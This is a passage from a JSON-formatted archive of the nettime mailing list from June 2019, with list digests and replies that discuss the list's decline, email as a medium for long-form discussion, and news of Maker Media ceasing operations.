to\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n nettime-l-request@mail.kein.org\n\nYou can reach the person managing the list at\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n nettime-l-owner@mail.kein.org\n\nWhen replying, please edit your Subject line so it is more specific\nthan \"Re: Contents of nettime-l digest...\"\n\n\nToday's Topics:\n\n\n\n\n\n 1. Re: Nettime is in bad shape. Let's see if we can change\n\n\n\n it.\n\n\n\n\n\n\n\n\n\n\n (John Preston)\n\n\n\n\n 2. The Maker Movement is abandoned by its corporate sponsors;\n\n\n\n\n\n\n\n\n\n\n throws in the towel (Bruce Sterling)\n\n\n\n\n 3. Re: Nettime is in bad shape. Let's see if we can change\n\n\n\n it.\n\n\n\n\n\n\n\n\n\n\n (John Preston)\n\n\n----------------------------------------------------------------------\n\nMessage: 1\nDate: Sat, 08 Jun 2019 15:06:56 +0100\nFrom: John Preston <wcerfgba@riseup.net>\nTo: nettime-l@mail.kein.org\nSubject: Re: <nettime> Nettime is in bad shape. Let's see if we can\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n change\n\n it.\nMessage-ID: <07A59428-BF8F-419B-841A-EA06BDDB2B98@riseup.net>\nContent-Type: text/plain; charset=\"utf-8\"\n\nJust forwarding this up.\n\n\n-------- Original Message --------\nFrom: Karim Brohi <karim@trauma.org>\nSent: 8 June 2019 14:35:45 BST\nTo: John Preston <wcerfgba@riseup.net>\nSubject: Re: <nettime> Nettime is in bad shape. Let's see if we can change it.\n\nNettime is in bad shape - as are most (all?) of the email based discussion\ngroups on the Interwebs now.\nI run another mailing list, started in 1995 in a medical specialty area- -\nwhich finds itself in the same state.\n\n Back then email was cool.\n\n Now, for\nmost, email tends to be a flood of work stuff and a pseudo todo list.\nDrafting an email is now work, and not associated with pleasure or pure\nintellectual pursuit.\n\nBut there's no other suitable medium either.\n\n Social media platforms are\ntoo brief to develop ideas.\n\n Too easy to fire back \"your idea is stupid\".\nBlog posts and newsletters are too one-sided.\n\n Developed/owned by a\nspecific individual/group of individuals, Comments never have the same\nprecedence as the original post.\n\n The post 'belongs' to the originator, not\nto the community.\n\nMaybe usenet/google groups comes close, but nobody uses them - perhaps\nbecause there's no (effective) 'app for that', and there has to be an\nactive process of logging in.\n\n (Email alerts end up in... email).\n\nIn brief - I think it's the medium not the message.\n\n The whole Internet\nneeds a new medium that encourages long-form discourse and thereby deep\ncommunity.\n\n That was email, but now it isn't email.\n\n I don't know what\n\n is\nnow.\n\nKarim\n\n\n\n\n\nOn Fri, 7 Jun 2019 at 21:34, John Preston <wcerfgba@riseup.net> wrote:\n\n> Just adding my two cents, as per the call. :)\n>\n> I only discovered nettime in the last few months. I'm a computer-child,\n> I've grown up on the net, and one of the people who now take a more\n> conservative or critical approach to tech. I came here because I am trying\n> to develop as an artist, working with the net as a medium and reflecting\n> critically on the net and its constituent parts. I don't post in to every\n> thread because a lot of the time I don't have anything worthwhile to add,\n> but I appreciate reading: most of the contributions on this list are really\n> insightful.\n>\n> The fact that people are posting meta threads like this is a good sign to\n> me, I appreciate a community that can take a critical view of itself. If\n> nettime does rap up, let me know where you all go, I'd like to talk more. :)\n>\n> John\n>\n> On 7 June 2019 18:38:46 BST, nettime mod squad <nettime@kein.org> wrote:\n>>\n>> Nettime is in bad shape, don't you think?\n>>\n>> It has still a lot of goodwill, and more generally there's renewed\n>> interest in formats of exchange and collective thinking that\n>> aren't defined by the logic of social media. But the dynamics that\n>> social media companies exploit are hardly limited to a handful of\n>> platforms. For example, nettime has its own 'influencers' -- a 1%,\n>> so to speak -- who generate the vast majority of list traffic.\n>> That's been true for years. The discussions they sustain may\n>> variously seem interesting or annoying, but either way they've\n>> become somewhat formulaic. An attentive reader knows more or less\n>> what to expect based solely the subject and the sender; and even\n>> meta-discussions about whether the list is dominated or by this or\n>> that tendency are largely dominated by the same few people.\n>>\n>> Some might argue the debates that have animated nettime over the\n>> last year -- the trajectories of postwar society, neoliberalism,\n>> the 'digital,' complexity, surveillance and big tech, Brexit,\n>> media and elections, Assange, even the Anthropocene in all its\n>> terrifying inclusiveness -- are the defining issues of the day.\n>> Maybe so. But if the nettime project had settled for a consensus\n>> model of the defining issues of the mid-'90s, it would never have\n>> gotten off the ground, and it certainly wouldn't exist almost 25\n>> years later. The challenge, we think, is to maintain a space that\n>> attracts ill-defined ideas and uncertain issues -- things and\n>> not-things that don't quite exist yet and yet haven't been buried\n>> under torrents of authority and theory.\n>>\n>> So, what can we do?\n>>\n>> In the past, we've asked people to think about outreach -- say,\n>> inviting new people from new contexts. It seems like that's had\n>> limited success; but at a time when nettime has been limping\n>> along, it's hard to get excited about inviting people to join an\n>> environment so heavily defined by habit. We've also joked that\n>> shutting it down before it fades into complete senescence might be\n>> best. But that joke wasn't really funny, in part because it wasn't\n>> meant to be: it was a way of expressing serious concerns about the\n>> list's increasingly parochial status.\n>>\n>> Now, we have a simple proposal: let's switch roles.\n>>\n>> It goes like this:\n>>\n>> If you've posted more than others to the list in the last 60 or 90\n>> or 120 or 180 days -- the math matters less than the spirit -- take\n>> a break. Let others define nettime, a space made up of nearly 5000\n>> subscribers.\n>>\n>> If you haven't posted to the list -- say, because it seemed like\n>> your ideas, concerns, or whatever you want to share wouldn't fit\n>> with nettime's habits -- maybe that will change.\n>>\n>> Think of it as an un-grand experiment: a way to see what else\n>> might happen, who else might speak, what less familiar ideas,\n>> perspectives, or styles might spring up. Maybe the list will fade\n>> into silence, and we'll be left with a paradoxical object, a list\n>> composed *entirely* of lurkers -- not such a bad non-end for\n>> nettime. Or maybe not. There might be many ways to find out. For\n>> now, rather than the 1% debating how narrowly to define good\n>> manners, let's see if a different 'we' can change things.\n>>\n>>\n>> -- the mod squad (Ted and Felix)\n>>\n>> #\n\n distributed via <nettime>: no commercial use without permission\n>> #\n\n <nettime>\n\n is a moderated mailing list for net criticism,\n>> #\n\n collaborative text filtering and cultural politics of the nets\n>> #\n\n more info:  http://mx.kein.org/mailman/listinfo/nettime-l\n>> #\n\n archive:  http://www.nettime.org contact: nettime@kein.org\n>> #\n\n @nettime_bot tweets mail w/ sender unless #ANON is in Subject:\n>>\n>> #\n\n distributed via <nettime>: no commercial use without permission\n> #\n\n <nettime>\n\n is a moderated mailing list for net criticism,\n> #\n\n collaborative text filtering and cultural politics of the nets\n> #\n\n more info:  http://mx.kein.org/mailman/listinfo/nettime-l\n> #\n\n archive:  http://www.nettime.org contact: nettime@kein.org\n> #\n\n @nettime_bot tweets mail w/ sender unless #ANON is in Subject:\n-------------- next part --------------\nAn HTML attachment was scrubbed...\nURL: <http://mx.kein.org/pipermail/nettime-l/attachments/20190608/490390ed/attachment-0001.html>\n\n------------------------------\n\nMessage: 2\nDate: Sat, 8 Jun 2019 16:21:37 +0200\nFrom: Bruce Sterling <bruces@well.com>\nTo: nettime-l@kein.org\nSubject: <nettime> The Maker Movement is abandoned by its corporate\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n sponsors; throws in the towel\nMessage-ID: <A342CE24-4F26-441E-BDBE-38F833458B29@well.com>\nContent-Type: text/plain;\n\n\n\n\n\n\n\n\n\n\n\n charset=utf-8\n\n*Well, so much for the O?Reilly Web 2.0 version of popular mechanics.\n\n Fifteen years is not too bad a run by the standards of an increasingly jittery California Ideology.\n\n Now what? ? Bruce S\n\n\nMaker Media goes broke\nhttps://hackaday.com/2019/06/07/maker-media-ceases-operations/\n\nOver the years we?ve had the dubious honor of bidding farewell to numerous companies that held a special place in the hearts of hackers and makers. We?ve borne witness to the demise of Radio Shack, TechShop, and PrintrBot, and even shed a tear or two when Toys ?R? Us shut their doors. But as much as it hurt to see those companies go, nothing quite compares to this. Today we?ve learned that Maker Media has ceased operations.\n\nBetween the first issue of Make magazine in 2005 and the inaugural Maker Faire a year later, Maker Media deftly cultured the public face of the ?maker movement? for over a decade. They didn?t create maker culture, but there?s no question that they put a spotlight on this part of the larger tech world. In fact, it?s not an exaggeration to say that the shuttering of Maker Media could have far reaching consequences that we won?t fully understand for years.\n\nWhile this news will surely come as a crushing blow to many in the community, Maker Media founder and CEO Dale Dougherty says they?re still trying to put the pieces together. ?I started the magazine and I?m committed to keeping that going because it means something to a lot of people and means something to me.? At this point, Dale tells us that Maker Media is officially in a state of insolvency. This is an important distinction, and means that the company still has a chance to right the ship before being forced to declare outright bankruptcy.\n\nIn layman?s terms, the fate of Make magazine and Maker Faire is currently uncertain?\n\n***\n\nhttps://techcrunch.com/2019/06/07/make-magazine-maker-media-layoffs/\n\nFinancial troubles have forced Maker Media, the company behind crafting publication MAKE: magazine as well as the science and art festival Maker Faire, to lay off its entire staff of 22 and pause all operations. TechCrunch was tipped off to Maker Media?s unfortunate situation which was then confirmed by the company?s founder and CEO Dale Dougherty.\n\nFor 15 years, MAKE: guided adults and children through step-by-step do-it-yourself crafting and science projects, and it was central to the maker movement. Since 2006, Maker Faire?s 200 owned and licensed events per year in over 40 countries let attendees wander amidst giant, inspiring art and engineering installations?.\n\n?Maker Media Inc ceased operations this week and let go of all of its employees ? about 22 employees? Dougherty tells TechCrunch. ?I started this 15 years ago and it?s always been a struggle as a business to make this work. Print publishing is not a great business for anybody, but it works?barely. Events are hard ? there was a drop off in corporate sponsorship.? Microsoft and Autodesk failed to sponsor this year?s flagship Bay Area Maker Faire?.\n\n\n\n------------------------------\n\nMessage: 3\nDate: Sat, 08 Jun 2019 07:45:08 -0700\nFrom: John Preston <wcerfgba@riseup.net>\nTo: nettime-l@mail.kein.org\nSubject: Re: <nettime> Nettime is in bad shape. Let's see if we can\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n change\n\n it.\nMessage-ID: <f8f8006bb46447a36e1e1a7d5171fbda@riseup.net>\nContent-Type: text/plain; charset=US-ASCII\n\nEach medium of communication has a different quality and bandwidth about\nit, and we can use a multitude of media -- nettime doesn't have to be\n/just/ a mailing list. Some of us might be better able to contribute via\nIRC or other more real-time media.\n\nJohn\n\nOn 2019-06-08 15:06, John Preston wrote:\n\n> Just forwarding this up.\n>\n> -------------------------\n> FROM: Karim Brohi <karim@trauma.org>\n> SENT: 8 June 2019 14:35:45 BST\n> TO: John Preston <wcerfgba@riseup.net>\n> SUBJECT: Re: <nettime> Nettime is in bad shape. Let's see if we can change it.\n>\n> Nettime is in bad shape - as are most (all?) of the email based discussion groups on the Interwebs now.\n> I run another mailing list, started in 1995 in a medical specialty area- - which finds itself in the same state.\n\n Back then email was cool.\n\n Now, for most, email tends to be a flood of work stuff and a pseudo todo list.\n\n Drafting an email is now work, and not associated with pleasure or pure intellectual pursuit.\n>\n> But there's no other suitable medium either.\n\n Social media platforms are too brief to develop ideas.\n\n Too easy to fire back \"your idea is stupid\".\n\n Blog posts and newsletters are too one-sided.\n\n Developed/owned by a specific individual/group of individuals, Comments never have the same precedence as the original post.\n\n The post 'belongs' to the originator, not to the community.\n>\n> Maybe usenet/google groups comes close, but nobody uses them - perhaps because there's no (effective) 'app for that', and there has to be an active process of logging in.\n\n (Email alerts end up in... email).\n>\n> In brief - I think it's the medium not the message.\n\n The whole Internet needs a new medium that encourages long-form discourse and thereby deep community.\n\n That was email, but now it isn't email.\n\n I don't know what\n\n is now.\n>\n> Karim\n>\n> On Fri, 7 Jun 2019 at 21:34, John Preston <wcerfgba@riseup.net> wrote:\n> Just adding my two cents, as per the call. :)\n>\n> I only discovered nettime in the last few months. I'm a computer-child, I've grown up on the net, and one of the people who now take a more conservative or critical approach to tech. I came here because I am trying to develop as an artist, working with the net as a medium and reflecting critically on the net and its constituent parts. I don't post in to every thread because a lot of the time I don't have anything worthwhile to add, but I appreciate reading: most of the contributions on this list are really insightful.\n>\n> The fact that people are posting meta threads like this is a good sign to me, I appreciate a community that can take a critical view of itself. If nettime does rap up, let me know where you all go, I'd like to talk more. :)\n>\n> John\n>\n> On 7 June 2019 18:38:46 BST, nettime mod squad <nettime@kein.org> wrote:\n>\n> Nettime is in bad shape, don't you think?\n>\n> It has still a lot of goodwill, and more generally there's renewed\n> interest in formats of exchange and collective thinking that\n> aren't defined by the logic of social media. But the dynamics that\n> social media companies exploit are hardly limited to a handful of\n> platforms. For example, nettime has its own 'influencers' -- a 1%,\n> so to speak -- who generate the vast majority of list traffic.\n> That's been true for years. The discussions they sustain may\n> variously seem interesting or annoying, but either way they've\n> become somewhat formulaic. An attentive reader knows more or less\n> what to expect based solely the subject and the sender; and even\n> meta-discussions about whether the list is dominated or by this or\n> that tendency are largely dominated by the same few people.\n>\n> Some might argue the debates that have animated nettime over the\n> last year -- the trajectories of postwar society, neoliberalism,\n> the 'digital,' complexity, surveillance and big tech, Brexit,\n> media and elections, Assange, even the Anthropocene in all its\n> terrifying inclusiveness -- are the defining issues of the day.\n> Maybe so. But if the nettime project had settled for a consensus\n> model of the defining issues of the mid-'90s, it would never have\n> gotten off the ground, and it certainly wouldn't exist almost 25\n> years later. The challenge, we think, is to maintain a space that\n> attracts ill-defined ideas and uncertain issues -- things and\n> not-things that don't quite exist yet and yet haven't been buried\n> under torrents of authority and theory.\n>\n> So, what can we do?\n>\n> In the past, we've asked people to think about outreach -- say,\n> inviting new people from new contexts. It seems like that's had\n> limited success; but at a time when nettime has been limping\n> along, it's hard to get excited about inviting people to join an\n> environment so heavily defined by habit. We've also joked that\n> shutting it down before it fades into complete senescence might be\n> best. But that joke wasn't really funny, in part because it wasn't\n> meant to be: it was a way of expressing serious concerns about the\n> list's increasingly parochial status.\n>\n> Now, we have a simple proposal: let's switch roles.\n>\n> It goes like this:\n>\n> If you've posted more than others to the list in the last 60 or 90\n> or 120 or 180 days -- the math matters less than the spirit -- take\n> a break. Let others define nettime, a space made up of nearly 5000\n> subscribers.\n>\n> If you haven't posted to the list -- say, because it seemed like\n> your ideas, concerns, or whatever you want to share wouldn't fit\n> with nettime's habits -- maybe that will change.\n>\n> Think of it as an un-grand experiment: a way to see what else\n> might happen, who else might speak, what less familiar ideas,\n> perspectives, or styles might spring up. Maybe the list will fade\n> into silence, and we'll be left with a paradoxical object, a list\n> composed *entirely* of lurkers -- not such a bad non-end for\n> nettime. Or maybe not. There might be many ways to find out. For\n> now, rather than the 1% debating how narrowly to define good\n> manners, let's see if a different 'we' can change things.\n>\n> -- the mod squad (Ted and Felix)\n>\n> #\n\n distributed via <nettime>: no commercial use without permission\n> #\n\n <nettime>\n\n is a moderated mailing list for net criticism,\n> #\n\n collaborative text filtering and cultural politics of the nets\n> #\n\n more info:  http://mx.kein.org/mailman/listinfo/nettime-l\n> #\n\n archive:  http://www.nettime.org contact: nettime@kein.org\n> #\n\n @nettime_bot tweets mail w/ sender unless #ANON is in Subject:\n> #\n\n distributed via <nettime>: no commercial use without permission\n> #\n\n <nettime>\n\n is a moderated mailing list for net criticism,\n> #\n\n collaborative text filtering and cultural politics of the nets\n> #\n\n more info:  http://mx.kein.org/mailman/listinfo/nettime-l\n> #\n\n archive:  http://www.nettime.org contact: nettime@kein.org\n> #\n\n @nettime_bot tweets mail w/ sender unless #ANON is in Subject:\n\n#\n\n distributed via <nettime>: no commercial use without permission\n#\n\n <nettime>\n\n is a moderated mailing list for net criticism,\n#\n\n collaborative text filtering and cultural politics of the nets\n#\n\n more info:  http://mx.kein.org/mailman/listinfo/nettime-l\n#\n\n archive:  http://www.nettime.org contact: nettime@kein.org\n#\n\n @nettime_bot tweets mail w/ sender unless #ANON is in Subject:\n\n\n------------------------------\n\n#\n\n distributed via <nettime>: no commercial use without permission\n#\n\n <nettime>\n\n is a moderated mailing list for net criticism,\n#\n\n collaborative text filtering and cultural politics of the nets\n#\n\n more info:  http://mx.kein.org/mailman/listinfo/nettime-l\n\nEnd of nettime-l Digest, Vol 141, Issue 11\n******************************************\n\n\n\n# distributed via : no commercial use without permission\n#  is a moderated mailing list for net criticism,\n# collaborative text filtering and cultural politics of the nets\n# more info: http://mx.kein.org/mailman/listinfo/nettime-l\n# archive: http://www.nettime.org contact: nettime@kein.org\n# @nettime_bot tweets mail w/ sender unless #ANON is in Subject:\n\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime>  is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: http://mx.kein.org/mailman/listinfo/nettime-l\n#  archive: http://www.nettime.org contact: nettime@kein.org\n#  @nettime_bot tweets mail w/ sender unless #ANON is in Subject:\n",
                        "id": "00023",
                        "date": "Sun, 09 Jun 2019 12:47:10 -0400",
                        "to": "nettime-l@mail.kein.org",
                        "message-id": "1560098830.vqwx9ks2884g40c0@hostingemail.digitalspace.net",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-1906/msg00023.html",
                        "content-type": "multipart/mixed",
                        "author_name": "voyd",
                        "subject": "Re: <nettime> Nettime is in bad shape. Let's see if we can change\tit."
                    },
                    {
                        "from": "Jordan Crandall <dionyso@me.com>",
                        "content": "Like Sean I\u2019ve been active long ago, lurking for a decade or more.  It\u2019s good to be prodded to contribute.  I thought of jumping in during some of the recent discussions, notably the \u2018Rage against the machine\u2019 thread, but unsure about how my writing will fit in, as I have been writing fiction these days and thinking in narrative terms.  It is difficult to see how it could work in the context of this kind of discussion.  Perhaps I will try.  Best to all.  Jordan\n\n\n> On Jun 8, 2019, at 8:21 AM, Sean Cubitt <s.cubitt@gold.ac.uk> wrote:\n> \n> I've been active long ago, and lurking for a decade or more, with only sporadic comments and adds: this look like a good prod to get us silent majority out of the closet.\n> \n> the thing that keeps nettime valuable is a) the contributors, timeliness, and swift smart dialogues and b) that there still seems to be a common purpose. \n> \n> social media start taking the forefront about ten years ago. The neo-populist right begins to replace the neo-liberal right about ten years ago. Is there some shared diagram? \n> \n> Other lists died for their own reasons: one because it seemed like everything interesting was on blogs, back when the blogosphere was a thing. Another because a concept / art movement / political trajectory could be exhausted so fast it scarcely seemed worth inventing new concepts etc. \n> \n> Mailing lists are asynchronous, which is great: more time to think; less kudos for fast reaction times. More consideration in every sense of the word\n> \n> in a few days I'll try to post something closer than this reflection on the medium to what I think this list is for: the aesthetics, politics and aesthetic politics of the early C21st -- consideration, wonder and hope\n> \n> Sean\n> \n> \n> From: nettime-l-bounces@mail.kein.org <nettime-l-bounces@mail.kein.org> on behalf of nettime-l-request@mail.kein.org <nettime-l-request@mail.kein.org>\n> Sent: 08 June 2019 15:45\n> To: nettime-l@mail.kein.org\n> Subject: nettime-l Digest, Vol 141, Issue 11\n>  \n> Send nettime-l mailing list submissions to\n>         nettime-l@mail.kein.org\n> \n> To subscribe or unsubscribe via the World Wide Web, visit\n>         http://mx.kein.org/mailman/listinfo/nettime-l\n> nettime-l Info Page - mx.kein.org\n> mx.kein.org\n> -- a moderated mailing list for net criticism <nettime> is not just a mailing list but an effort to formulate an international, networked discourse that neither promotes a dominant euphoria (to sell products) nor continues the cynical pessimism, spread by journalists and intellectuals in the 'old' media who generalize about 'new' media with no clear understanding of their communication aspects ...\n> \n> \n> or, via email, send a message with subject or body 'help' to\n>         nettime-l-request@mail.kein.org\n> \n> You can reach the person managing the list at\n>         nettime-l-owner@mail.kein.org\n> \n> When replying, please edit your Subject line so it is more specific\n> than \"Re: Contents of nettime-l digest...\"\n> \n> \n> Today's Topics:\n> \n>    1. Re: Nettime is in bad shape. Let's see if we can change   it.\n>       (John Preston)\n>    2. The Maker Movement is abandoned by its corporate sponsors;\n>       throws in the towel (Bruce Sterling)\n>    3. Re: Nettime is in bad shape. Let's see if we can change   it.\n>       (John Preston)\n> \n> \n> ----------------------------------------------------------------------\n> \n> Message: 1\n> Date: Sat, 08 Jun 2019 15:06:56 +0100\n> From: John Preston <wcerfgba@riseup.net>\n> To: nettime-l@mail.kein.org\n> Subject: Re: <nettime> Nettime is in bad shape. Let's see if we can\n>         change  it.\n> Message-ID: <07A59428-BF8F-419B-841A-EA06BDDB2B98@riseup.net>\n> Content-Type: text/plain; charset=\"utf-8\"\n> \n> Just forwarding this up.\n> \n> \n> -------- Original Message --------\n> From: Karim Brohi <karim@trauma.org>\n> Sent: 8 June 2019 14:35:45 BST\n> To: John Preston <wcerfgba@riseup.net>\n> Subject: Re: <nettime> Nettime is in bad shape. Let's see if we can change it.\n> \n> Nettime is in bad shape - as are most (all?) of the email based discussion\n> groups on the Interwebs now.\n> I run another mailing list, started in 1995 in a medical specialty area- -\n> which finds itself in the same state.  Back then email was cool.  Now, for\n> most, email tends to be a flood of work stuff and a pseudo todo list.\n> Drafting an email is now work, and not associated with pleasure or pure\n> intellectual pursuit.\n> \n> But there's no other suitable medium either.  Social media platforms are\n> too brief to develop ideas.  Too easy to fire back \"your idea is stupid\".\n> Blog posts and newsletters are too one-sided.  Developed/owned by a\n> specific individual/group of individuals, Comments never have the same\n> precedence as the original post.  The post 'belongs' to the originator, not\n> to the community.\n> \n> Maybe usenet/google groups comes close, but nobody uses them - perhaps\n> because there's no (effective) 'app for that', and there has to be an\n> active process of logging in.  (Email alerts end up in... email).\n> \n> In brief - I think it's the medium not the message.  The whole Internet\n> needs a new medium that encourages long-form discourse and thereby deep\n> community.  That was email, but now it isn't email.  I don't know what  is\n> now.\n> \n> Karim\n> \n> \n> \n> \n> \n> On Fri, 7 Jun 2019 at 21:34, John Preston <wcerfgba@riseup.net> wrote:\n> \n> > Just adding my two cents, as per the call. :)\n> >\n> > I only discovered nettime in the last few months. I'm a computer-child,\n> > I've grown up on the net, and one of the people who now take a more\n> > conservative or critical approach to tech. I came here because I am trying\n> > to develop as an artist, working with the net as a medium and reflecting\n> > critically on the net and its constituent parts. I don't post in to every\n> > thread because a lot of the time I don't have anything worthwhile to add,\n> > but I appreciate reading: most of the contributions on this list are really\n> > insightful.\n> >\n> > The fact that people are posting meta threads like this is a good sign to\n> > me, I appreciate a community that can take a critical view of itself. If\n> > nettime does rap up, let me know where you all go, I'd like to talk more. :)\n> >\n> > John\n> >\n> > On 7 June 2019 18:38:46 BST, nettime mod squad <nettime@kein.org> wrote:\n> >>\n> >> Nettime is in bad shape, don't you think?\n> >>\n> >> It has still a lot of goodwill, and more generally there's renewed\n> >> interest in formats of exchange and collective thinking that\n> >> aren't defined by the logic of social media. But the dynamics that\n> >> social media companies exploit are hardly limited to a handful of\n> >> platforms. For example, nettime has its own 'influencers' -- a 1%,\n> >> so to speak -- who generate the vast majority of list traffic.\n> >> That's been true for years. The discussions they sustain may\n> >> variously seem interesting or annoying, but either way they've\n> >> become somewhat formulaic. An attentive reader knows more or less\n> >> what to expect based solely the subject and the sender; and even\n> >> meta-discussions about whether the list is dominated or by this or\n> >> that tendency are largely dominated by the same few people.\n> >>\n> >> Some might argue the debates that have animated nettime over the\n> >> last year -- the trajectories of postwar society, neoliberalism,\n> >> the 'digital,' complexity, surveillance and big tech, Brexit,\n> >> media and elections, Assange, even the Anthropocene in all its\n> >> terrifying inclusiveness -- are the defining issues of the day.\n> >> Maybe so. But if the nettime project had settled for a consensus\n> >> model of the defining issues of the mid-'90s, it would never have\n> >> gotten off the ground, and it certainly wouldn't exist almost 25\n> >> years later. The challenge, we think, is to maintain a space that\n> >> attracts ill-defined ideas and uncertain issues -- things and\n> >> not-things that don't quite exist yet and yet haven't been buried\n> >> under torrents of authority and theory.\n> >>\n> >> So, what can we do?\n> >>\n> >> In the past, we've asked people to think about outreach -- say,\n> >> inviting new people from new contexts. It seems like that's had\n> >> limited success; but at a time when nettime has been limping\n> >> along, it's hard to get excited about inviting people to join an\n> >> environment so heavily defined by habit. We've also joked that\n> >> shutting it down before it fades into complete senescence might be\n> >> best. But that joke wasn't really funny, in part because it wasn't\n> >> meant to be: it was a way of expressing serious concerns about the\n> >> list's increasingly parochial status.\n> >>\n> >> Now, we have a simple proposal: let's switch roles.\n> >>\n> >> It goes like this:\n> >>\n> >> If you've posted more than others to the list in the last 60 or 90\n> >> or 120 or 180 days -- the math matters less than the spirit -- take\n> >> a break. Let others define nettime, a space made up of nearly 5000\n> >> subscribers.\n> >>\n> >> If you haven't posted to the list -- say, because it seemed like\n> >> your ideas, concerns, or whatever you want to share wouldn't fit\n> >> with nettime's habits -- maybe that will change.\n> >>\n> >> Think of it as an un-grand experiment: a way to see what else\n> >> might happen, who else might speak, what less familiar ideas,\n> >> perspectives, or styles might spring up. Maybe the list will fade\n> >> into silence, and we'll be left with a paradoxical object, a list\n> >> composed *entirely* of lurkers -- not such a bad non-end for\n> >> nettime. Or maybe not. There might be many ways to find out. For\n> >> now, rather than the 1% debating how narrowly to define good\n> >> manners, let's see if a different 'we' can change things.\n> >>\n> >>\n> >> -- the mod squad (Ted and Felix)\n> >>\n> >> #  distributed via <nettime>: no commercial use without permission\n> >> #  <nettime>  is a moderated mailing list for net criticism,\n> >> #  collaborative text filtering and cultural politics of the nets\n> >> #  more info: http://mx.kein.org/mailman/listinfo/nettime-l\n> >> #  archive: http://www.nettime.org contact: nettime@kein.org\n> >> #  @nettime_bot tweets mail w/ sender unless #ANON is in Subject:\n> >>\n> >> #  distributed via <nettime>: no commercial use without permission\n> > #  <nettime>  is a moderated mailing list for net criticism,\n> > #  collaborative text filtering and cultural politics of the nets\n> > #  more info: http://mx.kein.org/mailman/listinfo/nettime-l\n> > #  archive: http://www.nettime.org contact: nettime@kein.org\n> > #  @nettime_bot tweets mail w/ sender unless #ANON is in Subject:\n> -------------- next part --------------\n> An HTML attachment was scrubbed...\n> URL: <http://mx.kein.org/pipermail/nettime-l/attachments/20190608/490390ed/attachment-0001.html>\n> \n> ------------------------------\n> \n> Message: 2\n> Date: Sat, 8 Jun 2019 16:21:37 +0200\n> From: Bruce Sterling <bruces@well.com>\n> To: nettime-l@kein.org\n> Subject: <nettime> The Maker Movement is abandoned by its corporate\n>         sponsors; throws in the towel\n> Message-ID: <A342CE24-4F26-441E-BDBE-38F833458B29@well.com>\n> Content-Type: text/plain;       charset=utf-8\n> \n> *Well, so much for the O?Reilly Web 2.0 version of popular mechanics.  Fifteen years is not too bad a run by the standards of an increasingly jittery California Ideology.  Now what? ? Bruce S\n> \n> \n> Maker Media goes broke \n> https://hackaday.com/2019/06/07/maker-media-ceases-operations/\n> \n> Over the years we?ve had the dubious honor of bidding farewell to numerous companies that held a special place in the hearts of hackers and makers. We?ve borne witness to the demise of Radio Shack, TechShop, and PrintrBot, and even shed a tear or two when Toys ?R? Us shut their doors. But as much as it hurt to see those companies go, nothing quite compares to this. Today we?ve learned that Maker Media has ceased operations.\n> \n> Between the first issue of Make magazine in 2005 and the inaugural Maker Faire a year later, Maker Media deftly cultured the public face of the ?maker movement? for over a decade. They didn?t create maker culture, but there?s no question that they put a spotlight on this part of the larger tech world. In fact, it?s not an exaggeration to say that the shuttering of Maker Media could have far reaching consequences that we won?t fully understand for years.\n> \n> While this news will surely come as a crushing blow to many in the community, Maker Media founder and CEO Dale Dougherty says they?re still trying to put the pieces together. ?I started the magazine and I?m committed to keeping that going because it means something to a lot of people and means something to me.? At this point, Dale tells us that Maker Media is officially in a state of insolvency. This is an important distinction, and means that the company still has a chance to right the ship before being forced to declare outright bankruptcy.\n> \n> In layman?s terms, the fate of Make magazine and Maker Faire is currently uncertain?\n> \n> ***\n> \n> https://techcrunch.com/2019/06/07/make-magazine-maker-media-layoffs/\n> \n> Financial troubles have forced Maker Media, the company behind crafting publication MAKE: magazine as well as the science and art festival Maker Faire, to lay off its entire staff of 22 and pause all operations. TechCrunch was tipped off to Maker Media?s unfortunate situation which was then confirmed by the company?s founder and CEO Dale Dougherty.\n> \n> For 15 years, MAKE: guided adults and children through step-by-step do-it-yourself crafting and science projects, and it was central to the maker movement. Since 2006, Maker Faire?s 200 owned and licensed events per year in over 40 countries let attendees wander amidst giant, inspiring art and engineering installations?.\n> \n> ?Maker Media Inc ceased operations this week and let go of all of its employees ? about 22 employees? Dougherty tells TechCrunch. ?I started this 15 years ago and it?s always been a struggle as a business to make this work. Print publishing is not a great business for anybody, but it works?barely. Events are hard ? there was a drop off in corporate sponsorship.? Microsoft and Autodesk failed to sponsor this year?s flagship Bay Area Maker Faire?.\n> \n> \n> \n> ------------------------------\n> \n> Message: 3\n> Date: Sat, 08 Jun 2019 07:45:08 -0700\n> From: John Preston <wcerfgba@riseup.net>\n> To: nettime-l@mail.kein.org\n> Subject: Re: <nettime> Nettime is in bad shape. Let's see if we can\n>         change  it.\n> Message-ID: <f8f8006bb46447a36e1e1a7d5171fbda@riseup.net>\n> Content-Type: text/plain; charset=US-ASCII\n> \n> Each medium of communication has a different quality and bandwidth about\n> it, and we can use a multitude of media -- nettime doesn't have to be\n> /just/ a mailing list. Some of us might be better able to contribute via\n> IRC or other more real-time media.\n> \n> John\n> \n> On 2019-06-08 15:06, John Preston wrote:\n> \n> > Just forwarding this up.\n> > \n> > -------------------------\n> > FROM: Karim Brohi <karim@trauma.org>\n> > SENT: 8 June 2019 14:35:45 BST\n> > TO: John Preston <wcerfgba@riseup.net>\n> > SUBJECT: Re: <nettime> Nettime is in bad shape. Let's see if we can change it. \n> > \n> > Nettime is in bad shape - as are most (all?) of the email based discussion groups on the Interwebs now. \n> > I run another mailing list, started in 1995 in a medical specialty area- - which finds itself in the same state.  Back then email was cool.  Now, for most, email tends to be a flood of work stuff and a pseudo todo list.  Drafting an email is now work, and not associated with pleasure or pure intellectual pursuit. \n> > \n> > But there's no other suitable medium either.  Social media platforms are too brief to develop ideas.  Too easy to fire back \"your idea is stupid\".  Blog posts and newsletters are too one-sided.  Developed/owned by a specific individual/group of individuals, Comments never have the same precedence as the original post.  The post 'belongs' to the originator, not to the community. \n> > \n> > Maybe usenet/google groups comes close, but nobody uses them - perhaps because there's no (effective) 'app for that', and there has to be an active process of logging in.  (Email alerts end up in... email). \n> > \n> > In brief - I think it's the medium not the message.  The whole Internet needs a new medium that encourages long-form discourse and thereby deep community.  That was email, but now it isn't email.  I don't know what  is now. \n> > \n> > Karim \n> > \n> > On Fri, 7 Jun 2019 at 21:34, John Preston 